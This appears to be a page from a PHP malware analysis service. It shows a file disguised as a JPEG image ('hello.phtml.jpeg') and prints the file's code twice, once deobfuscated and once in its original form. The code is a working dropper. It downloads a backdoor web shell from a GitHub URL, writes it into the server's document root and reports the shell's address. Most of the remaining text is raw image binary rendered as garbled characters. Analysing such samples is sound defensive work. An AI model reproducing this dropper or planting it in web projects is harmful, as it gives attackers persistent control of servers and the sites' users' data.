PHP Malware Analysis

Back to list

Filename: hello.phtml.jpeg

Tags

URLs
Files
  • file_get_contents

Deobfuscated code

JFIF,,<?php 
$source = "https://raw.githubusercontent.com/zerobyte-id/PHP-Backdoor/master/0byt3m1n1/0byt3m1n1.php";
$name = "0byte.php";
function _summon($name, $file)
{
    $filename = $name;
    $fget = file_get_contents($file);
    $path = $_SERVER['DOCUMENT_ROOT'] . DIRECTORY_SEPARATOR;
    $fileopen = fopen("{$path}/{$filename}", 'w');
    $execfile = fwrite($fileopen, $fget);
    $shellurl = $_SERVER['HTTPS'] ? "https" : "http" . "://{$_SERVER['HTTP_HOST']}" . "/{$filename}";
    if ($execfile) {
        if (file_exists($path . "/{$filename}")) {
            echo "<font color=\"#00FF00\">[OK!] <a href=\"{$shellurl}\" target=\"_blank\">{$shellurl}</a></font>";
        } else {
            echo "<font color=\"red\">{$path}{$filename}<br>Doesn't exist!</font>";
        }
    } else {
        echo "<font color=\"red\">Failed get newfile {$filename} in {$path}</font>";
    }
}
_summon($name, $source);
?>
		

 $.' ",#(7),01444'9=82<.342			

2!!22222222222222222222222222222222222222222222222222"	
}!1AQa"q2#BR$3br	
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz	
w!1AQaq"2B	#3Rbr
$4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?((((((((((((((((((((((((((((((((((((((((((((((((((((((((((:Ԑ$q!wczO
߲
رD絿Z{)1ncN{[M'}=
=kc>0hD絿G"woϰ{z}+{;o}7Q(3ޟsN{[M'}=
=VM+EH(S[۲fUb((((((((((((((((Z<'n _}9rlh:il&$A `t=)4ve^-j'oEG)¤Hv((((((<U;J=IqycRm[Q۲8^.by5=]]K;mڠ.[QIQH((((((((((((((((A#Z؝Jד;V	ZdЅ8)|,Z(Cq(b5Tfw[>)f+Ϋ١4;{xtooΛEfl;{xuxs'EyokF91
Ԭ

>oSO&+=((((((((((((((((((ZoBխ7BV?!N;_=(Pz_,JO5^u_ᠢ+3`]׆տ7rc?5k/_B+/_B3ϥEpQEyQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEkMvOUZJ')qKgESO5[~)f+Ϋ١4QEflxo@p[k5цLgfe@WVe@WW\yN(0Š((((((((((((((((((i
V	ZdЅ8)|,Z(Cq~)f+o?_%y~6{4?(͂
3\-w^?Vf0Ɍլ

Ԭ

>QEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEc58t.d@b{oʱ-eH"w86vgisJ.*$yV잊*z}7$pWsv<'e9O9){Ojy^yYzKM8ED(»ȍ"zd+=Q}i\mp?C}MkFj3M
#m㺷xeG"A)kв#Ty^IQj<E?DϋJzםRP!~EVfEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEP@u-ON+R\3ȷl|_tUE
X%IɇҸRkƉ0DvOoxQ7PqGkS#K^14QErEPFh;
bYOOyԶwI<GCKXQwP=rKlH޸mwM6WꘂSA+z,Q@E]Xs΅WN~L*Ibx%xt;XzZQ@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@DfuP2ItBLt~5!3ݽ
?ZӲgwȂxi[j(5'z|Mʇ2{JsPWg5*nMB^;g?(=aUi;E,jKI-M# 0^vSVCERQEQK+$pSJ	eqֺ
jFi+Oodϧ^[.Ԏ*[#*$=6ubg>^]qq|ON`߱b2hx)20Rk #*}GjS]OG	W<tS+
(
(
(
(
(
(
(
(
(
(
(
(
(
(
ce%An5\+-mEˏJ8Zҝ>y[zƵ	km*h'<q^Ǎ)j/0#?*zͰFids[Z0!c5M"Eb+uᤩiVrY@8%?m؏HF}Y~wZ;_jwzA]򫔔6	BTF(3
QIR7Ÿ~F
SBWhwHlkVs}n,pҤtCR^zfy19$KخX-v2NqʪkFui^]Q\'p9滟}MPij6{ߧ	_vAVjp崋ߤ	qy7YcYGZkB
 z3k:إ9e'ӸT"tun/>T#>EuJ*J$1l%mL6%9{į6Qqvg	ǙQRPQEQEQEQEQEQEQEQEQEQEQEQEPh*v8w
MNMG6zA]NWL[2ݪzUӠV51omXƵ{N}+.^[z^*FJ<{"+

f?_VdxoC1ʵ]C?gO]F(c+Wè[?CYU*+Wۥƿޔ~X5Oؠ@tN\^\E79[d'T~4V!~CUJ'o~`c[Im2NC
awnTc	\{:8Oz\_u/yev?һJ>x+sB_nn5Imp0pkҫ>ۣ\:I:YW̹+{3zaEPEPEPEPEPEPEPEPEPEPEPEPxcK!(pD@5ص@{נE
[‘F00]8zw|">+;ZCO+RI]|bQ]H9#{sY$i+͜j8*K57!Z.H?U*wzA]򮨯ܳi9(NeYf8RJcu9	V>)ǚ-/ܑOָֻGXHAl.[U{]w̶9pteA]G8?\SPgn:-"GBkFT"5ȷg3i\hS\gn<-APV3wgE8DPpEv+>gpGpsLm>'8p;t"+Tz!LtYeazl3%)4g(05%z6cOx'}wޟ`UB{J`+ϭI(7
(
(
(
(
(
(
(
(
(
(
1EmwM]ߝ*.݅TcL根ietģ,{VJ1V<I1sQ}յ_#vۛ1oi`2p;rksT<|c&eQZj?j?srKa24l Gâ߻=*sUahsUajt*:1$g(>"҈b~??c(7⎌xIqwq+g$}3Z?j?j?g9N{ZJ/_Ej9ϰ49ϰ5${X2tR]6mF~dk]sI$Fy,yQS5%R
0
3wrW:/}%S|ҹc[Rce-{֓W?'#DRJְN2ɤ_G5_ƏG5_ƲceP:֯#G#G$/ƦK}SɈޢqh:2,Hzu[m\!IsvPnhqQ4^xLh'7q~ny
׮WkJStsͨ-	qyXOTQEQEQEQEQEQEQEQEQEQ@	亙ae
E9#k:Y>(qǠk<,S|dQEtaEPES(((()QEQE((R(ĚrjnL#NlCA 魧6\vr=̺(Nࢊ((((((((W}<Bx
}XwEӖ7 8CkF;0UqeD#PQEzƒ2IR(G`$oR,Fy2OTqJu4t\8uD;*<Dl](IG?QoSIjA_Cv(Np{[i?1]
OO]
q۲-ֱ6i$#?giֲ</8uju4QQZQH{i>C)=?uFOi褫H	4eƜftzZDf2x/WU55t:MAEURdԞW7cG +?Y']Gg8pcV.S-I+3#,W	] A5&JR :1	jM&ɌZ<H)v{mt'<tCs͜\STQEEPEPEPEPEPEPEbK۔{Jޚ}D=mm8#*}OM^8(FǏ^;
(19jFx{
hjS+ˑ
7z⻴UD
r\rgufRPxc"2?*u)l0 9]f5x?F(QkzberzCZxVRǟ<{]e`QKR"!HfRVVz3()KEl4=2=-~!@k+ӿe7j\l=IN3w;QEyEPOLSF*TYKEmM3{d[TJF8&pZC
/EkO?ֻ7|K(
QۭlD|ώkҙuE`
ʼbt`;xyrգr>tTFLqQY-qSB
*ujJrm^[TGO;U
?i6d|ZquB>r^ǬYOXQ[hGmEWIG<ۼ2dakϵFݳkV7weĀ9WұO_Յ+=Ji+B((((((+oY[5P'Wl~LעE
E"~Ӈ1Ōh袊<Т(c[&<E&}+`g.p\}:{V]u=MYz-&R1kNɜ^9O
q*XtTc]ag(@N?ֻck;0(((npfvo]aٝxzQ[\߯=g?λulŭܑι/S>RXd})klq׊4o^M~$D7E,
/۟BD	-t+`RyX2c]׈m~ӥ9UwҸSָ+CzlzjנQEQEQEQEQEQEnxV->?N}g\ǃn|r6]8]uhN-ިQEQE08~٭y~OkӮE}GZWFgvrQ\t0r+ٝ,E4a#ž~yHxwhORāY׺;?4=Ԫ`*8yE#[¶eV[7ȇIQ[ khG69r
(mkXL%5pI9IE]s*6kӿe7cŗYhk"LJPjr{s\jMXМEr_ϴ?I}FnX0];#	^HEV!EcZĺdq#oW%_k7Z	ٛ
RII-
fםAx_b=9K.X;X\_>`I^vM]|Ҹ4Wo0jb@+z獍hT:%iPahc}G\"I{ޕ:
>.&?|?g
+OsjY^

tPyHUg𵣵ܗ$|A?j>ݯxJ+D9#=ML>g^ϫ,EqQ@
uX oy<#n3kkƱu6)h݁zP+B(((((3m#׮G[-F)v=
wYpCWvW^26~EQEJxQ5ZZ."?3Wc!$hE%*Sw
(!PiorT
HGB*j(^??|ZA|
E]rV>PVpƱT`S褒[{)C5xB8T?ZA|
E+.)5)ei(V>pQN˰dPl5DF>(!QL淆6MH3U?4qWi=Z*3tL"MƱ*J(NQ@Q@nA<dLG~aӥ?O?'$qOh
:9EW!QEQEQEQEQE@֔"07?Ț誄]ѝJjyYWxlw:ȮY!ck~һV2<z_+C)QEQEQEQEQEQEQEQEQEQEQEQE($J^F
P]TsGkM3Ee]gqqrw93Hvg"1Vxcs~X_Q8$@kmWwwg )QEQEQEQEQEQEQEZQBs*(~UdkڒoTJ̢JKfC5"ߵ
?"?ߵ
ʢq{(v5"?ߵ
?"?ߵ
ʢi.T~(T~+*=cW-S~G_-S~G_(_HOHO²K{(v5"?ߵ
?"?ߵ
ʢi.T~(T~+*=cW-S~G_-S~G_(_HOHO²K{(v5"?ߵ
?"?ߵ
ʢi.T~(T~+*=cW-S~G_-S~G_(_H?ƒ-O~
ʢi.}sRqUI +Gvbj*\ܥQE
(
(
(
(
(
(
(
(
(
(
(
(
(
(
(
(
(
(
(
(
(
(
(
(
(
(
(
(
(
(
(
(
(
(
(
(
(
(
(
(
(
(
(
(
(
(
(
(
(
(
(
(
(
(?


Original code

JFIF,,<?php $source = "https://raw.githubusercontent.com/zerobyte-id/PHP-Backdoor/master/0byt3m1n1/0byt3m1n1.php"; $name = "0byte.php"; function _summon($name, $file) { $filename = $name; $fget = file_get_contents($file); $path=$_SERVER['DOCUMENT_ROOT'].DIRECTORY_SEPARATOR; $fileopen=fopen("$path/$filename",'w'); $execfile=fwrite($fileopen,$fget); $shellurl = $_SERVER['HTTPS'] ? "https" : "http" . "://$_SERVER[HTTP_HOST]"."/$filename"; if($execfile) { if(file_exists($path."/$filename")) { echo "<font color=\"#00FF00\">[OK!] <a href=\"$shellurl\" target=\"_blank\">$shellurl</a></font>"; } else { echo "<font color=\"red\">$path$filename<br>Doesn't exist!</font>"; } } else { echo "<font color=\"red\">Failed get newfile $filename in $path</font>"; } } _summon($name, $source); ?>
		

 $.' ",#(7),01444'9=82<.342			

2!!22222222222222222222222222222222222222222222222222"	
}!1AQa"q2#BR$3br	
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz	
w!1AQaq"2B	#3Rbr
$4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?((((((((((((((((((((((((((((((((((((((((((((((((((((((((((:Ԑ$q!wczO
߲
رD絿Z{)1ncN{[M'}=
=kc>0hD絿G"woϰ{z}+{;o}7Q(3ޟsN{[M'}=
=VM+EH(S[۲fUb((((((((((((((((Z<'n _}9rlh:il&$A `t=)4ve^-j'oEG)¤Hv((((((<U;J=IqycRm[Q۲8^.by5=]]K;mڠ.[QIQH((((((((((((((((A#Z؝Jד;V	ZdЅ8)|,Z(Cq(b5Tfw[>)f+Ϋ١4;{xtooΛEfl;{xuxs'EyokF91
Ԭ

>oSO&+=((((((((((((((((((ZoBխ7BV?!N;_=(Pz_,JO5^u_ᠢ+3`]׆տ7rc?5k/_B+/_B3ϥEpQEyQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEkMvOUZJ')qKgESO5[~)f+Ϋ١4QEflxo@p[k5цLgfe@WVe@WW\yN(0Š((((((((((((((((((i
V	ZdЅ8)|,Z(Cq~)f+o?_%y~6{4?(͂
3\-w^?Vf0Ɍլ

Ԭ

>QEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEc58t.d@b{oʱ-eH"w86vgisJ.*$yV잊*z}7$pWsv<'e9O9){Ojy^yYzKM8ED(»ȍ"zd+=Q}i\mp?C}MkFj3M
#m㺷xeG"A)kв#Ty^IQj<E?DϋJzםRP!~EVfEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEP@u-ON+R\3ȷl|_tUE
X%IɇҸRkƉ0DvOoxQ7PqGkS#K^14QErEPFh;
bYOOyԶwI<GCKXQwP=rKlH޸mwM6WꘂSA+z,Q@E]Xs΅WN~L*Ibx%xt;XzZQ@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@DfuP2ItBLt~5!3ݽ
?ZӲgwȂxi[j(5'z|Mʇ2{JsPWg5*nMB^;g?(=aUi;E,jKI-M# 0^vSVCERQEQK+$pSJ	eqֺ
jFi+Oodϧ^[.Ԏ*[#*$=6ubg>^]qq|ON`߱b2hx)20Rk #*}GjS]OG	W<tS+
(
(
(
(
(
(
(
(
(
(
(
(
(
(
ce%An5\+-mEˏJ8Zҝ>y[zƵ	km*h'<q^Ǎ)j/0#?*zͰFids[Z0!c5M"Eb+uᤩiVrY@8%?m؏HF}Y~wZ;_jwzA]򫔔6	BTF(3
QIR7Ÿ~F
SBWhwHlkVs}n,pҤtCR^zfy19$KخX-v2NqʪkFui^]Q\'p9滟}MPij6{ߧ	_vAVjp崋ߤ	qy7YcYGZkB
 z3k:إ9e'ӸT"tun/>T#>EuJ*J$1l%mL6%9{į6Qqvg	ǙQRPQEQEQEQEQEQEQEQEQEQEQEQEPh*v8w
MNMG6zA]NWL[2ݪzUӠV51omXƵ{N}+.^[z^*FJ<{"+

f?_VdxoC1ʵ]C?gO]F(c+Wè[?CYU*+Wۥƿޔ~X5Oؠ@tN\^\E79[d'T~4V!~CUJ'o~`c[Im2NC
awnTc	\{:8Oz\_u/yev?һJ>x+sB_nn5Imp0pkҫ>ۣ\:I:YW̹+{3zaEPEPEPEPEPEPEPEPEPEPEPEPxcK!(pD@5ص@{נE
[‘F00]8zw|">+;ZCO+RI]|bQ]H9#{sY$i+͜j8*K57!Z.H?U*wzA]򮨯ܳi9(NeYf8RJcu9	V>)ǚ-/ܑOָֻGXHAl.[U{]w̶9pteA]G8?\SPgn:-"GBkFT"5ȷg3i\hS\gn<-APV3wgE8DPpEv+>gpGpsLm>'8p;t"+Tz!LtYeazl3%)4g(05%z6cOx'}wޟ`UB{J`+ϭI(7
(
(
(
(
(
(
(
(
(
(
1EmwM]ߝ*.݅TcL根ietģ,{VJ1V<I1sQ}յ_#vۛ1oi`2p;rksT<|c&eQZj?j?srKa24l Gâ߻=*sUahsUajt*:1$g(>"҈b~??c(7⎌xIqwq+g$}3Z?j?j?g9N{ZJ/_Ej9ϰ49ϰ5${X2tR]6mF~dk]sI$Fy,yQS5%R
0
3wrW:/}%S|ҹc[Rce-{֓W?'#DRJְN2ɤ_G5_ƏG5_ƲceP:֯#G#G$/ƦK}SɈޢqh:2,Hzu[m\!IsvPnhqQ4^xLh'7q~ny
׮WkJStsͨ-	qyXOTQEQEQEQEQEQEQEQEQEQ@	亙ae
E9#k:Y>(qǠk<,S|dQEtaEPES(((()QEQE((R(ĚrjnL#NlCA 魧6\vr=̺(Nࢊ((((((((W}<Bx
}XwEӖ7 8CkF;0UqeD#PQEzƒ2IR(G`$oR,Fy2OTqJu4t\8uD;*<Dl](IG?QoSIjA_Cv(Np{[i?1]
OO]
q۲-ֱ6i$#?giֲ</8uju4QQZQH{i>C)=?uFOi褫H	4eƜftzZDf2x/WU55t:MAEURdԞW7cG +?Y']Gg8pcV.S-I+3#,W	] A5&JR :1	jM&ɌZ<H)v{mt'<tCs͜\STQEEPEPEPEPEPEPEbK۔{Jޚ}D=mm8#*}OM^8(FǏ^;
(19jFx{
hjS+ˑ
7z⻴UD
r\rgufRPxc"2?*u)l0 9]f5x?F(QkzberzCZxVRǟ<{]e`QKR"!HfRVVz3()KEl4=2=-~!@k+ӿe7j\l=IN3w;QEyEPOLSF*TYKEmM3{d[TJF8&pZC
/EkO?ֻ7|K(
QۭlD|ώkҙuE`
ʼbt`;xyrգr>tTFLqQY-qSB
*ujJrm^[TGO;U
?i6d|ZquB>r^ǬYOXQ[hGmEWIG<ۼ2dakϵFݳkV7weĀ9WұO_Յ+=Ji+B((((((+oY[5P'Wl~LעE
E"~Ӈ1Ōh袊<Т(c[&<E&}+`g.p\}:{V]u=MYz-&R1kNɜ^9O
q*XtTc]ag(@N?ֻck;0(((npfvo]aٝxzQ[\߯=g?λulŭܑι/S>RXd})klq׊4o^M~$D7E,
/۟BD	-t+`RyX2c]׈m~ӥ9UwҸSָ+CzlzjנQEQEQEQEQEQEnxV->?N}g\ǃn|r6]8]uhN-ިQEQE08~٭y~OkӮE}GZWFgvrQ\t0r+ٝ,E4a#ž~yHxwhORāY׺;?4=Ԫ`*8yE#[¶eV[7ȇIQ[ khG69r
(mkXL%5pI9IE]s*6kӿe7cŗYhk"LJPjr{s\jMXМEr_ϴ?I}FnX0];#	^HEV!EcZĺdq#oW%_k7Z	ٛ
RII-
fםAx_b=9K.X;X\_>`I^vM]|Ҹ4Wo0jb@+z獍hT:%iPahc}G\"I{ޕ:
>.&?|?g
+OsjY^

tPyHUg𵣵ܗ$|A?j>ݯxJ+D9#=ML>g^ϫ,EqQ@
uX oy<#n3kkƱu6)h݁zP+B(((((3m#׮G[-F)v=
wYpCWvW^26~EQEJxQ5ZZ."?3Wc!$hE%*Sw
(!PiorT
HGB*j(^??|ZA|
E]rV>PVpƱT`S褒[{)C5xB8T?ZA|
E+.)5)ei(V>pQN˰dPl5DF>(!QL淆6MH3U?4qWi=Z*3tL"MƱ*J(NQ@Q@nA<dLG~aӥ?O?'$qOh
:9EW!QEQEQEQEQE@֔"07?Ț誄]ѝJjyYWxlw:ȮY!ck~һV2<z_+C)QEQEQEQEQEQEQEQEQEQEQEQE($J^F
P]TsGkM3Ee]gqqrw93Hvg"1Vxcs~X_Q8$@kmWwwg )QEQEQEQEQEQEQEZQBs*(~UdkڒoTJ̢JKfC5"ߵ
?"?ߵ
ʢq{(v5"?ߵ
?"?ߵ
ʢi.T~(T~+*=cW-S~G_-S~G_(_HOHO²K{(v5"?ߵ
?"?ߵ
ʢi.T~(T~+*=cW-S~G_-S~G_(_HOHO²K{(v5"?ߵ
?"?ߵ
ʢi.T~(T~+*=cW-S~G_-S~G_(_H?ƒ-O~
ʢi.}sRqUI +Gvbj*\ܥQE
(
(
(
(
(
(
(
(
(
(
(
(
(
(
(
(
(
(
(
(
(
(
(
(
(
(
(
(
(
(
(
(
(
(
(
(
(
(
(
(
(
(
(
(
(
(
(
(
(
(
(
(
(
(?